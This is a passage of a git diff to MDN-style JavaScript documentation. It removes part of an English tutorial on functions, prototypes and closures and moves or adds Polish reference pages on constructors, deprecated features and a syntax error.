-  }
-  return sum / arr.length;
-}
-
-avgArray([2, 3, 4, 5]); // 3.5
-
- -

But it would be nice to be able to reuse the function that we've already created. Luckily, JavaScript lets you call a function with an arbitrary array of arguments, using the {{jsxref("Function.apply", "apply()")}} method of any function object.

- -
avg.apply(null, [2, 3, 4, 5]); // 3.5
-
- -

The second argument to apply() is the array to use as arguments; the first will be discussed later on. This emphasizes the fact that functions are objects too.

- -
-

You can achieve the same result using the spread operator in the function call.

- -

For instance: avg(...numbers)

-
- -

JavaScript lets you create anonymous functions.

- -
var avg = function() {
-  var sum = 0;
-  for (var i = 0, j = arguments.length; i < j; i++) {
-    sum += arguments[i];
-  }
-  return sum / arguments.length;
-};
-
- -

This is semantically equivalent to the function avg() form. It's extremely powerful, as it lets you put a full function definition anywhere that you would normally put an expression. This enables all sorts of clever tricks. Here's a way of "hiding" some local variables — like block scope in C:

- -
var a = 1;
-var b = 2;
-
-(function() {
-  var b = 3;
-  a += b;
-})();
-
-a; // 4
-b; // 2
-
- -

JavaScript allows you to call functions recursively. This is particularly useful for dealing with tree structures, such as those found in the browser DOM.

- -
function countChars(elm) {
-  if (elm.nodeType == 3) { // TEXT_NODE
-    return elm.nodeValue.length;
-  }
-  var count = 0;
-  for (var i = 0, child; child = elm.childNodes[i]; i++) {
-    count += countChars(child);
-  }
-  return count;
-}
-
- -

This highlights a potential problem with anonymous functions: how do you call them recursively if they don't have a name? JavaScript lets you name function expressions for this. You can use named IIFEs (Immediately Invoked Function Expressions) as shown below:

- -
var charsInBody = (function counter(elm) {
-  if (elm.nodeType == 3) { // TEXT_NODE
-    return elm.nodeValue.length;
-  }
-  var count = 0;
-  for (var i = 0, child; child = elm.childNodes[i]; i++) {
-    count += counter(child);
-  }
-  return count;
-})(document.body);
-
- -

The name provided to a function expression as above is only available to the function's own scope. This allows more optimizations to be done by the engine and results in more readable code. The name also shows up in the debugger and some stack traces, which can save you time when debugging.

- -

Note that JavaScript functions are themselves objects — like everything else in JavaScript — and you can add or change properties on them just like we've seen earlier in the Objects section.

- -

Custom objects

- -
For a more detailed discussion of object-oriented programming in JavaScript, see Introduction to Object-Oriented JavaScript.
- -

In classic Object Oriented Programming, objects are collections of data and methods that operate on that data. JavaScript is a prototype-based language that contains no class statement, as you'd find in C++ or Java (this is sometimes confusing for programmers accustomed to languages with a class statement). Instead, JavaScript uses functions as classes. Let's consider a person object with first and last name fields. There are two ways in which the name might be displayed: as "first last" or as "last, first". Using the functions and objects that we've discussed previously, we could display the data like this:

- -
function makePerson(first, last) {
-  return {
-    first: first,
-    last: last
-  };
-}
-function personFullName(person) {
-  return person.first + ' ' + person.last;
-}
-function personFullNameReversed(person) {
-  return person.last + ', ' + person.first;
-}
-
-s = makePerson('Simon', 'Willison');
-personFullName(s); // "Simon Willison"
-personFullNameReversed(s); // "Willison, Simon"
-
- -

This works, but it's pretty ugly. You end up with dozens of functions in your global namespace. What we really need is a way to attach a function to an object. Since functions are objects, this is easy:

- -
function makePerson(first, last) {
-  return {
-    first: first,
-    last: last,
-    fullName: function() {
-      return this.first + ' ' + this.last;
-    },
-    fullNameReversed: function() {
-      return this.last + ', ' + this.first;
-    }
-  };
-}
-
-s = makePerson('Simon', 'Willison');
-s.fullName(); // "Simon Willison"
-s.fullNameReversed(); // "Willison, Simon"
-
- -

There's something here we haven't seen before: the this keyword. Used inside a function, this refers to the current object. What that actually means is specified by the way in which you called that function. If you called it using dot notation or bracket notation on an object, that object becomes this. If dot notation wasn't used for the call, this refers to the global object.

- -

Note that this is a frequent cause of mistakes. For example:

- -
s = makePerson('Simon', 'Willison');
-var fullName = s.fullName;
-fullName(); // undefined undefined
-
- -

When we call fullName() alone, without using s.fullName(), this is bound to the global object. Since there are no global variables called first or last we get undefined for each one.

- -

We can take advantage of the this keyword to improve our makePerson function:

- -
function Person(first, last) {
-  this.first = first;
-  this.last = last;
-  this.fullName = function() {
-    return this.first + ' ' + this.last;
-  };
-  this.fullNameReversed = function() {
-    return this.last + ', ' + this.first;
-  };
-}
-var s = new Person('Simon', 'Willison');
-
- -

We have introduced another keyword: new. new is strongly related to this. It creates a brand new empty object, and then calls the function specified, with this set to that new object. Notice though that the function specified with this does not return a value but merely modifies the this object. It's new that returns the this object to the calling site. Functions that are designed to be called by new are called constructor functions. Common practice is to capitalize these functions as a reminder to call them with new.

- -

The improved function still has the same pitfall with calling fullName() alone.

- -

Our person objects are getting better, but there are still some ugly edges to them. Every time we create a person object we are creating two brand new function objects within it — wouldn't it be better if this code was shared?

- -
function personFullName() {
-  return this.first + ' ' + this.last;
-}
-function personFullNameReversed() {
-  return this.last + ', ' + this.first;
-}
-function Person(first, last) {
-  this.first = first;
-  this.last = last;
-  this.fullName = personFullName;
-  this.fullNameReversed = personFullNameReversed;
-}
-
- -

That's better: we are creating the method functions only once, and assigning references to them inside the constructor. Can we do any better than that? The answer is yes:

- -
function Person(first, last) {
-  this.first = first;
-  this.last = last;
-}
-Person.prototype.fullName = function() {
-  return this.first + ' ' + this.last;
-};
-Person.prototype.fullNameReversed = function() {
-  return this.last + ', ' + this.first;
-};
-
- -

Person.prototype is an object shared by all instances of Person. It forms part of a lookup chain (that has a special name, "prototype chain"): any time you attempt to access a property of Person that isn't set, JavaScript will check Person.prototype to see if that property exists there instead. As a result, anything assigned to Person.prototype becomes available to all instances of that constructor via the this object.

- -

This is an incredibly powerful tool. JavaScript lets you modify something's prototype at any time in your program, which means you can add extra methods to existing objects at runtime:

- -
s = new Person('Simon', 'Willison');
-s.firstNameCaps(); // TypeError on line 1: s.firstNameCaps is not a function
-
-Person.prototype.firstNameCaps = function() {
-  return this.first.toUpperCase();
-};
-s.firstNameCaps(); // "SIMON"
-
- -

Interestingly, you can also add things to the prototype of built-in JavaScript objects. Let's add a method to String that returns that string in reverse:

- -
var s = 'Simon';
-s.reversed(); // TypeError on line 1: s.reversed is not a function
-
-String.prototype.reversed = function() {
-  var r = '';
-  for (var i = this.length - 1; i >= 0; i--) {
-    r += this[i];
-  }
-  return r;
-};
-
-s.reversed(); // nomiS
-
- -

Our new method even works on string literals!

- -
'This can now be reversed'.reversed(); // desrever eb won nac sihT
-
- -

As mentioned before, the prototype forms part of a chain. The root of that chain is Object.prototype, whose methods include toString() — it is this method that is called when you try to represent an object as a string. This is useful for debugging our Person objects:

- -
var s = new Person('Simon', 'Willison');
-s.toString(); // [object Object]
-
-Person.prototype.toString = function() {
-  return '<Person: ' + this.fullName() + '>';
-}
-
-s.toString(); // "<Person: Simon Willison>"
-
- -

Remember how avg.apply() had a null first argument? We can revisit that now. The first argument to apply() is the object that should be treated as 'this'. For example, here's a trivial implementation of new:

- -
function trivialNew(constructor, ...args) {
-  var o = {}; // Create an object
-  constructor.apply(o, args);
-  return o;
-}
-
- -

This isn't an exact replica of new as it doesn't set up the prototype chain (it would be difficult to illustrate). This is not something you use very often, but it's useful to know about. In this snippet, ...args (including the ellipsis) is called the "rest arguments" — as the name implies, this contains the rest of the arguments.

- -

Calling

- -
var bill = trivialNew(Person, 'William', 'Orange');
- -

is therefore almost equivalent to

- -
var bill = new Person('William', 'Orange');
- -

apply() has a sister function named call, which again lets you set this but takes an expanded argument list as opposed to an array.

- -
function lastNameCaps() {
-  return this.last.toUpperCase();
-}
-var s = new Person('Simon', 'Willison');
-lastNameCaps.call(s);
-// Is the same as:
-s.lastNameCaps = lastNameCaps;
-s.lastNameCaps(); // WILLISON
-
- -

Inner functions

- -

JavaScript function declarations are allowed inside other functions. We've seen this once before, with an earlier makePerson() function. An important detail of nested functions in JavaScript is that they can access variables in their parent function's scope:

- -
function parentFunc() {
-  var a = 1;
-
-  function nestedFunc() {
-    var b = 4; // parentFunc can't use this
-    return a + b;
-  }
-  return nestedFunc(); // 5
-}
-
- -

This provides a great deal of utility in writing more maintainable code. If a function relies on one or two other functions that are not useful to any other part of your code, you can nest those utility functions inside the function that will be called from elsewhere. This keeps the number of functions that are in the global scope down, which is always a good thing.

- -

This is also a great counter to the lure of global variables. When writing complex code it is often tempting to use global variables to share values between multiple functions — which leads to code that is hard to maintain. Nested functions can share variables in their parent, so you can use that mechanism to couple functions together when it makes sense without polluting your global namespace — "local globals" if you like. This technique should be used with caution, but it's a useful ability to have.

- -

Closures

- -

This leads us to one of the most powerful abstractions that JavaScript has to offer — but also the most potentially confusing. What does this do?

- -
function makeAdder(a) {
-  return function(b) {
-    return a + b;
-  };
-}
-var x = makeAdder(5);
-var y = makeAdder(20);
-x(6); // ?
-y(7); // ?
-
- -

The name of the makeAdder() function should give it away: it creates new 'adder' functions, each of which, when called with one argument, adds it to the argument that it was created with.

- -

What's happening here is pretty much the same as was happening with the inner functions earlier on: a function defined inside another function has access to the outer function's variables. The only difference here is that the outer function has returned, and hence common sense would seem to dictate that its local variables no longer exist. But they do still exist — otherwise, the adder functions would be unable to work. What's more, there are two different "copies" of makeAdder()'s local variables — one in which a is 5 and the other one where a is 20. So the result of that function calls is as follows:

- -
x(6); // returns 11
-y(7); // returns 27
-
- -

Here's what's actually happening. Whenever JavaScript executes a function, a 'scope' object is created to hold the local variables created within that function. It is initialized with any variables passed in as function parameters. This is similar to the global object that all global variables and functions live in, but with a couple of important differences: firstly, a brand new scope object is created every time a function starts executing, and secondly, unlike the global object (which is accessible as this and in browsers as window) these scope objects cannot be directly accessed from your JavaScript code. There is no mechanism for iterating over the properties of the current scope object, for example.

- -

So when makeAdder() is called, a scope object is created with one property: a, which is the argument passed to the makeAdder() function. makeAdder() then returns a newly created function. Normally JavaScript's garbage collector would clean up the scope object created for makeAdder() at this point, but the returned function maintains a reference back to that scope object. As a result, the scope object will not be garbage-collected until there are no more references to the function object that makeAdder() returned.

- -

Scope objects form a chain called the scope chain, similar to the prototype chain used by JavaScript's object system.

- -

A closure is the combination of a function and the scope object in which it was created. Closures let you save state — as such, they can often be used in place of objects. You can find several excellent introductions to closures.

diff --git a/files/pl/web/javascript/reference/about/index.html b/files/pl/web/javascript/reference/about/index.html new file mode 100644 index 0000000000..a16cf69e3d --- /dev/null +++ b/files/pl/web/javascript/reference/about/index.html @@ -0,0 +1,58 @@ +--- +title: O dokumentacji referencyjnej +slug: Web/JavaScript/Referencje/O_tym_dokumencie +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - Informator + - JavaScript + - Referencje + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/About +--- +

{{JsSidebar}}

+ +

Dokumentacja referencyjna JavaScript służy jako repozytorium faktów w zakresie języka JavaScript. Tutaj opisany jest szczegółowo cały język. Podczas pisania kodu JavaScript, będziesz często zaglądać na te strony, stąd nazwa tej części dokumentacji (dokumentacja referencyjna). Jeśli uczysz się dopiero JavaScript lub potrzebujesz wyjaśnień na temat jakichś możliwości lub funkcjonalności, sprawdz nasz podręcznik JavaScript.

+ +

Język JavaScript jest przeznaczony do użycia w szerokim środowisku, zarówno w przeglądarce internetowej, aplikacjach na urządzenia mobilne jak i skryptach działających po stronie serwera. Przeważająca część informacji, zawarta w naszym dokumentacji referencyjnej, ma charakters agnostyczny i nie dotyczy środowiska przeglądarki.

+ +

Gdzie znaleźć informacje o JavaScript

+ +

Nasza dokumentacja rdzennych funkcjonalności JavaScript (w przeważającej części czysty ECMAScript) obejmuje

+ + + +

Jeśli jesteś początkującym w JavaScript, rozpocznij od lektury podręcznika. Gdy już będziesz zrozumiesz podstawy, możesz zająć się referencjami, aby uzyskać wiedzę na temat poszczególnych obiektów i konstrukcji językowych.

+ +

Struktura dokumentacji referencyjnej

+ +

W dokumentacji referencyjnej znajdują się następujące rozdziały:

+ +
+
Obiekty
+
W tym rozdziale opisano wszystkie standardowe obiekty wbudowane JavaScript, w tym ich metody i właściwości.
+
Polecenia i deklaracje
+
JavaScript applications consist of statements with an appropriate syntax. A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semicolon. This isn't a keyword, but a group of keywords.
+
Operatory i wyrażenia
+
This chapter documents all the JavaScript language operators, expressions and keywords.
+
Funkcje
+
Chapter about JavaScript functions.
+
Klasy
+
Chapter about JavaScript classes introduced in ECMAScript 2015.
+
Błędy
+
Chapter about specific errors, exceptions and warnings thrown by JavaScript.
+
Nowości w JavaScript
+
Chapter about JavaScript version history.
+
+ +

Więcej odnośnych stron

+ + diff --git a/files/pl/web/javascript/reference/classes/constructor/index.html b/files/pl/web/javascript/reference/classes/constructor/index.html new file mode 100644 index 0000000000..353adecd19 --- /dev/null +++ b/files/pl/web/javascript/reference/classes/constructor/index.html @@ -0,0 +1,188 @@ +--- +title: Konstruktor +slug: Web/JavaScript/Reference/Classes/Konstruktor +tags: + - Classes + - JavaScript + - Language feature +translation_of: Web/JavaScript/Reference/Classes/constructor +--- +
{{jsSidebar("Classes")}}
+ +

Konstruktor jest specjalną metodą tworzenia i inicjowania obiektu utworzonego w klasie.

+ +

{{EmbedInteractiveExample("pages/js/classes-constructor.html")}}

+ +

Składnia

+ +
constructor([arguments]) { ... }
+ +

Opis

+ +

Konstruktor umożliwia zdefiniowanie inicjalizacji obiektu, która musi się wykonać, zanim będzie można wywołać metody obiektu.

+ +
class Person {
+
+  constructor(name) {
+    this.name = name;
+  }
+
+  introduce() {
+    console.log(`Hello, my name is ${this.name}`);
+  }
+
+}
+
+const otto = new Person('Otto');
+
+otto.introduce();
+ +

Jeśli niestandardowy konstruktor nie został podany, to domyślny konstruktor będzie użyty. Dla klas bazowych konstruktor domyślny jest pusty:

+ +
constructor() {}
+ +

Dla klas pochodnych domyślny konstruktor wywołuje konstruktor klasy nadrzędnej:

+ +
constructor(...args) {
+  super(...args);
+}
+ +

Pozwala to na działanie takiego kodu:

+ +
class ValidationError extends Error {
+
+  printCustomerMessage() {
+    return `Validation failed :-( (details: ${this.message})`;
+  }
+
+}
+
+try {
+  throw new ValidationError("Not a valid phone number");
+} catch (error) {
+   if (error instanceof ValidationError) {
+    console.log(error.name); // This is Error instead of ValidationError!
+    console.log(error.printCustomerMessage());
+  } else {
+    console.log('Unknown error', error);
+    throw error;
+  }
+}
+ +

Klasa ValidationError nie musi mieć niestandardowego konstruktora, ponieważ domyślny konstruktor wywołuje konstruktor klasy Error.

+ +

Jeśli jednak klasa ValidationError ma niestandardowy konstruktor, to musi on wywoływać konstruktor klasy nadrzędnej przy użyciu super:

+ +
class ValidationError extends Error {
+
+  constructor(message) {
+    super(message);  // call parent class constructor
+    this.name = 'ValidationError';
+    this.code = '42';
+  }
+
+  printCustomerMessage() {
+     return `Validation failed :-( (details: ${this.message}, code: ${this.code})`;
+  }
+
+}
+
+try {
+  throw new ValidationError("Not a valid phone number");
+} catch (error) {
+   if (error instanceof ValidationError) {
+    console.log(error.name); // Now this is ValidationError!
+    console.log(error.printCustomerMessage());
+  } else {
+    console.log('Unknown error', error);
+    throw error;
+  }
+}
+ +

Wewnątrz klasy może być tylko jedna metoda nazwana constructor. Jeżeli constructor wystąpi więcej niż jeden raz, to wygeneruje błąd {{jsxref("SyntaxError")}}.

+ +

Przykłady

+ +

Używanie konstruktora

+ +

Fragment kodu pochodzi z classes sample (live demo).

+ +
class Square extends Polygon {
+  constructor(length) {
+    // Wywołanie konstruktora klasy nadrzędnej
+    // określenie szerokości i wysokości wielokątu
+    super(length, length);
+    // Uwaga: W pochodnych klasach, super() musi być wywołane wcześniej niż
+    // pierwsze użycie 'this'. W przeciwnym wypadku pojawi się błąd odniesienia.
+    this.name = 'Square';
+  }
+
+  get area() {
+    return this.height * this.width;
+  }
+
+  set area(value) {
+    this.area = value;
+  }
+}
+ +

Inny przykład

+ +

W tym przykładzie klasa Square jest zmieniona — ale konstruktor klasy Polygon nadal jest wywoływany przy tworzeniu nowej instancji klasy Square.

+ +
class Polygon {
+    constructor() {
+        this.name = "Polygon";
+    }
+}
+
+class Square extends Polygon {
+    constructor() {
+        super();
+    }
+}
+
+class Rectangle {}
+
+Object.setPrototypeOf(Square.prototype, Rectangle.prototype);
+
+console.log(Object.getPrototypeOf(Square.prototype) === Polygon.prototype); //false
+console.log(Object.getPrototypeOf(Square.prototype) === Rectangle.prototype); //true
+
+let newInstance = new Square();
+console.log(newInstance.name); //Polygon
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-static-semantics-constructormethod', 'Constructor Method')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-static-semantics-constructormethod', 'Constructor Method')}}{{Spec2('ESDraft')}}
+ +

Kompatybilność

+ +

{{Compat("javascript.classes.constructor")}}

+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/classes/konstruktor/index.html b/files/pl/web/javascript/reference/classes/konstruktor/index.html deleted file mode 100644 index 353adecd19..0000000000 --- a/files/pl/web/javascript/reference/classes/konstruktor/index.html +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: Konstruktor -slug: Web/JavaScript/Reference/Classes/Konstruktor -tags: - - Classes - - JavaScript - - Language feature -translation_of: Web/JavaScript/Reference/Classes/constructor ---- -
{{jsSidebar("Classes")}}
- -

Konstruktor jest specjalną metodą tworzenia i inicjowania obiektu utworzonego w klasie.

- -

{{EmbedInteractiveExample("pages/js/classes-constructor.html")}}

- -

Składnia

- -
constructor([arguments]) { ... }
- -

Opis

- -

Konstruktor umożliwia zdefiniowanie inicjalizacji obiektu, która musi się wykonać, zanim będzie można wywołać metody obiektu.

- -
class Person {
-
-  constructor(name) {
-    this.name = name;
-  }
-
-  introduce() {
-    console.log(`Hello, my name is ${this.name}`);
-  }
-
-}
-
-const otto = new Person('Otto');
-
-otto.introduce();
- -

Jeśli niestandardowy konstruktor nie został podany, to domyślny konstruktor będzie użyty. Dla klas bazowych konstruktor domyślny jest pusty:

- -
constructor() {}
- -

Dla klas pochodnych domyślny konstruktor wywołuje konstruktor klasy nadrzędnej:

- -
constructor(...args) {
-  super(...args);
-}
- -

Pozwala to na działanie takiego kodu:

- -
class ValidationError extends Error {
-
-  printCustomerMessage() {
-    return `Validation failed :-( (details: ${this.message})`;
-  }
-
-}
-
-try {
-  throw new ValidationError("Not a valid phone number");
-} catch (error) {
-   if (error instanceof ValidationError) {
-    console.log(error.name); // This is Error instead of ValidationError!
-    console.log(error.printCustomerMessage());
-  } else {
-    console.log('Unknown error', error);
-    throw error;
-  }
-}
- -

Klasa ValidationError nie musi mieć niestandardowego konstruktora, ponieważ domyślny konstruktor wywołuje konstruktor klasy Error.

- -

Jeśli jednak klasa ValidationError ma niestandardowy konstruktor, to musi on wywoływać konstruktor klasy nadrzędnej przy użyciu super:

- -
class ValidationError extends Error {
-
-  constructor(message) {
-    super(message);  // call parent class constructor
-    this.name = 'ValidationError';
-    this.code = '42';
-  }
-
-  printCustomerMessage() {
-     return `Validation failed :-( (details: ${this.message}, code: ${this.code})`;
-  }
-
-}
-
-try {
-  throw new ValidationError("Not a valid phone number");
-} catch (error) {
-   if (error instanceof ValidationError) {
-    console.log(error.name); // Now this is ValidationError!
-    console.log(error.printCustomerMessage());
-  } else {
-    console.log('Unknown error', error);
-    throw error;
-  }
-}
- -

Wewnątrz klasy może być tylko jedna metoda nazwana constructor. Jeżeli constructor wystąpi więcej niż jeden raz, to wygeneruje błąd {{jsxref("SyntaxError")}}.

- -

Przykłady

- -

Używanie konstruktora

- -

Fragment kodu pochodzi z classes sample (live demo).

- -
class Square extends Polygon {
-  constructor(length) {
-    // Wywołanie konstruktora klasy nadrzędnej
-    // określenie szerokości i wysokości wielokątu
-    super(length, length);
-    // Uwaga: W pochodnych klasach, super() musi być wywołane wcześniej niż
-    // pierwsze użycie 'this'. W przeciwnym wypadku pojawi się błąd odniesienia.
-    this.name = 'Square';
-  }
-
-  get area() {
-    return this.height * this.width;
-  }
-
-  set area(value) {
-    this.area = value;
-  }
-}
- -

Inny przykład

- -

W tym przykładzie klasa Square jest zmieniona — ale konstruktor klasy Polygon nadal jest wywoływany przy tworzeniu nowej instancji klasy Square.

- -
class Polygon {
-    constructor() {
-        this.name = "Polygon";
-    }
-}
-
-class Square extends Polygon {
-    constructor() {
-        super();
-    }
-}
-
-class Rectangle {}
-
-Object.setPrototypeOf(Square.prototype, Rectangle.prototype);
-
-console.log(Object.getPrototypeOf(Square.prototype) === Polygon.prototype); //false
-console.log(Object.getPrototypeOf(Square.prototype) === Rectangle.prototype); //true
-
-let newInstance = new Square();
-console.log(newInstance.name); //Polygon
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-static-semantics-constructormethod', 'Constructor Method')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-static-semantics-constructormethod', 'Constructor Method')}}{{Spec2('ESDraft')}}
- -

Kompatybilność

- -

{{Compat("javascript.classes.constructor")}}

- -

Zobacz też

- - diff --git a/files/pl/web/javascript/reference/deprecated_and_obsolete_features/index.html b/files/pl/web/javascript/reference/deprecated_and_obsolete_features/index.html new file mode 100644 index 0000000000..92c805ac17 --- /dev/null +++ b/files/pl/web/javascript/reference/deprecated_and_obsolete_features/index.html @@ -0,0 +1,292 @@ +--- +title: Przestarzałe własności i metody +slug: Web/JavaScript/Referencje/Przestarzałe_własności_i_metody +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Deprecated_and_obsolete_features +--- +
{{JsSidebar("More")}}
+ +

This page lists features of JavaScript that are deprecated (that is, still available but planned for removal) and obsolete (that is, no longer usable).

+ +

Deprecated features

+ +

These deprecated features can still be used, but should be used with caution because they are expected to be removed entirely sometime in the future. You should work to remove their use from your code.

+ +

RegExp properties

+ +

The following properties are deprecated. This does not affect their use in {{jsxref("String.replace", "replacement strings", "", 1)}}:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyDescription
{{jsxref("RegExp.n", "$1-$9")}} +

Parenthesized substring matches, if any.
+ Warning: Using these properties can result in problems, since browser extensions can modify them. Avoid them!

+
{{jsxref("RegExp.input", "$_")}}See input.
{{jsxref("RegExp.multiline", "$*")}}See multiline.
{{jsxref("RegExp.lastMatch", "$&")}}See lastMatch.
{{jsxref("RegExp.lastParen", "$+")}}See lastParen.
{{jsxref("RegExp.leftContext", "$`")}}See leftContext.
{{jsxref("RegExp.rightContext", "$'")}}See rightContext.
{{jsxref("RegExp.input", "input")}}The string against which a regular expression is matched.
{{jsxref("RegExp.lastMatch", "lastMatch")}}The last matched characters.
{{jsxref("RegExp.lastParen", "lastParen")}}The last parenthesized substring match, if any.
{{jsxref("RegExp.leftContext", "leftContext")}}The substring preceding the most recent match.
{{jsxref("RegExp.rightContext", "rightContext")}}The substring following the most recent match.
+ +

The following are now properties of RegExp instances, no longer of the RegExp object:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyDescription
{{jsxref("RegExp.global", "global")}}Whether or not to test the regular expression against all possible matches in a string, or only against the first.
{{jsxref("RegExp.ignoreCase", "ignoreCase")}}Whether or not to ignore case while attempting a match in a string.
{{jsxref("RegExp.lastIndex", "lastIndex")}}The index at which to start the next match.
{{jsxref("RegExp.multiline", "multiline")}}Whether or not to search in strings across multiple lines.
{{jsxref("RegExp.source", "source")}}The text of the pattern.
+ +

RegExp methods

+ + + +

Function properties

+ + + +

Legacy generator

+ + + +

Iterator

+ + + +

Object methods

+ + + +

Date methods

+ + + +

Functions

+ + + +

Proxy

+ + + +

Escape sequences

+ + + +

String methods

+ + + +

Obsolete features

+ +

These obsolete features have been entirely removed from JavaScript and can no longer be used as of the indicated version of JavaScript.

+ +

Object

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyDescription
{{jsxref("Global_Objects/Object/count", "__count__")}}Returns the number of enumerable properties directly on a user-defined object.
{{jsxref("Global_Objects/Object/Parent", "__parent__")}}Points to an object's context.
{{jsxref("Global_Objects/Object/eval", "Object.prototype.eval()")}}Evaluates a string of JavaScript code in the context of the specified object.
{{jsxref("Object.observe()")}}Asynchronously observing the changes to an object.
{{jsxref("Object.unobserve()")}}Remove observers.
{{jsxref("Object.getNotifier()")}}Creates an object that allows to synthetically trigger a change.
+ +

Function

+ + + + + + + + + + + + +
PropertyDescription
{{jsxref("Global_Objects/Function/arity", "arity")}}Number of formal arguments.
+ +

Array

+ + + + + + + + + + + + + + + + +
PropertyDescription
{{jsxref("Array.observe()")}}Asynchronously observing changes to Arrays.
{{jsxref("Array.unobserve()")}}Remove observers.
+ +

Number

+ + + +

ParallelArray

+ + + +

Statements

+ + + +

E4X

+ +

See E4X for more information.

+ +

Sharp variables

+ +

See Sharp variables in JavaScript for more information.

diff --git "a/files/pl/web/javascript/reference/errors/brakuj\304\205cy_\305\233rednik_po_w\305\202asno\305\233ci_id/index.html" "b/files/pl/web/javascript/reference/errors/brakuj\304\205cy_\305\233rednik_po_w\305\202asno\305\233ci_id/index.html" deleted file mode 100644 index ecdb783335..0000000000 --- "a/files/pl/web/javascript/reference/errors/brakuj\304\205cy_\305\233rednik_po_w\305\202asno\305\233ci_id/index.html" +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: 'Błąd składni: brakująca własność po identyfikatorze.' -slug: Web/JavaScript/Reference/Errors/Brakujący_średnik_po_własności_id -tags: - - Błąd - - Błąd składniowy - - Błędy - - JavaScript -translation_of: Web/JavaScript/Reference/Errors/Missing_colon_after_property_id ---- -
{{jsSidebar("Errors")}}
- -

Wiadomość

- -
Błąd składni: brakująca własność po identyfikatorze.
-
- -

Typ błedu

- -

{{jsxref("SyntaxError")}}

- -

Co poszło nie tak?

- -

Kiedy tworzysz objekty korzystając z Inicjalizatora objektu składnia, używając dwukropka (:) oddziela klucze i wartości od własności objektu.

- -
var obj = { własnośćKlucza: 'wartość' };
-
- -

Przykłady

- -

Dwukropki a znaki równości

- -

Ten kod nie zadziała prawidłowo, ponieważ nie możesz w ten sposób używać znaków równości, aby korzystać z inicjalizatora objektu.

- -
var obj = { własnośćKlucza = 'wartość' };
-// Błąd składni: brakująca własność po identyfikatorze.
-
- -

Poprawnie byłoby użyć znaku dwukropka, lub używając nawiasów kwadratowych aby przydzielić nową własność po stworzeniu objektu

- -
var obj = { własnośćKlucza: 'wartość' };
-
-// Lub inaczej
-
-var obj = { };
-obj['własnośćKlucza'] = 'wartość';
-
- -

Puste własności

- -

Nie możesz w ten sposób tworzyć pustych własności.

- -
var obj = { własnośćKlucza; };
-// Błąd składni: brakująca własność po identyfikatorze.
-
- -

Jeżeli potrzebujesz zdefiniować własność bez wartości, powinieneś użyć {{jsxref("null")}} jako wartości

- -
var obj = { własnośćKlucza: null };
- -

Własności obliczeniowe

- -

Jeżeli tworzysz własność klucza z wyrażenia, potrzebujesz uzyć kwadratowych nawiasów. W przeciwnym razie, nazwa własności nie będzie możliwa do obliczenia

- -
var obj = { 'b'+'ar': 'foo' };
-// Błąd składni: brakująca własność po identyfikatorze.
-
- -

Przenieś to wyrażenie do nawiasów []:

- -
var obj = { ['b'+'ar']: 'foo' };
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/reference/errors/missing_colon_after_property_id/index.html b/files/pl/web/javascript/reference/errors/missing_colon_after_property_id/index.html new file mode 100644 index 0000000000..ecdb783335 --- /dev/null +++ b/files/pl/web/javascript/reference/errors/missing_colon_after_property_id/index.html @@ -0,0 +1,77 @@ +--- +title: 'Błąd składni: brakująca własność po identyfikatorze.' +slug: Web/JavaScript/Reference/Errors/Brakujący_średnik_po_własności_id +tags: + - Błąd + - Błąd składniowy + - Błędy + - JavaScript +translation_of: Web/JavaScript/Reference/Errors/Missing_colon_after_property_id +--- +
{{jsSidebar("Errors")}}
+ +

Wiadomość

+ +
Błąd składni: brakująca własność po identyfikatorze.
+
+ +

Typ błedu

+ +

{{jsxref("SyntaxError")}}

+ +

Co poszło nie tak?

+ +

Kiedy tworzysz objekty korzystając z Inicjalizatora objektu składnia, używając dwukropka (:) oddziela klucze i wartości od własności objektu.

+ +
var obj = { własnośćKlucza: 'wartość' };
+
+ +

Przykłady

+ +

Dwukropki a znaki równości

+ +

Ten kod nie zadziała prawidłowo, ponieważ nie możesz w ten sposób używać znaków równości, aby korzystać z inicjalizatora objektu.

+ +
var obj = { własnośćKlucza = 'wartość' };
+// Błąd składni: brakująca własność po identyfikatorze.
+
+ +

Poprawnie byłoby użyć znaku dwukropka, lub używając nawiasów kwadratowych aby przydzielić nową własność po stworzeniu objektu

+ +
var obj = { własnośćKlucza: 'wartość' };
+
+// Lub inaczej
+
+var obj = { };
+obj['własnośćKlucza'] = 'wartość';
+
+ +

Puste własności

+ +

Nie możesz w ten sposób tworzyć pustych własności.

+ +
var obj = { własnośćKlucza; };
+// Błąd składni: brakująca własność po identyfikatorze.
+
+ +

Jeżeli potrzebujesz zdefiniować własność bez wartości, powinieneś użyć {{jsxref("null")}} jako wartości

+ +
var obj = { własnośćKlucza: null };
+ +

Własności obliczeniowe

+ +

Jeżeli tworzysz własność klucza z wyrażenia, potrzebujesz uzyć kwadratowych nawiasów. W przeciwnym razie, nazwa własności nie będzie możliwa do obliczenia

+ +
var obj = { 'b'+'ar': 'foo' };
+// Błąd składni: brakująca własność po identyfikatorze.
+
+ +

Przenieś to wyrażenie do nawiasów []:

+ +
var obj = { ['b'+'ar']: 'foo' };
+ +

Zobacz również

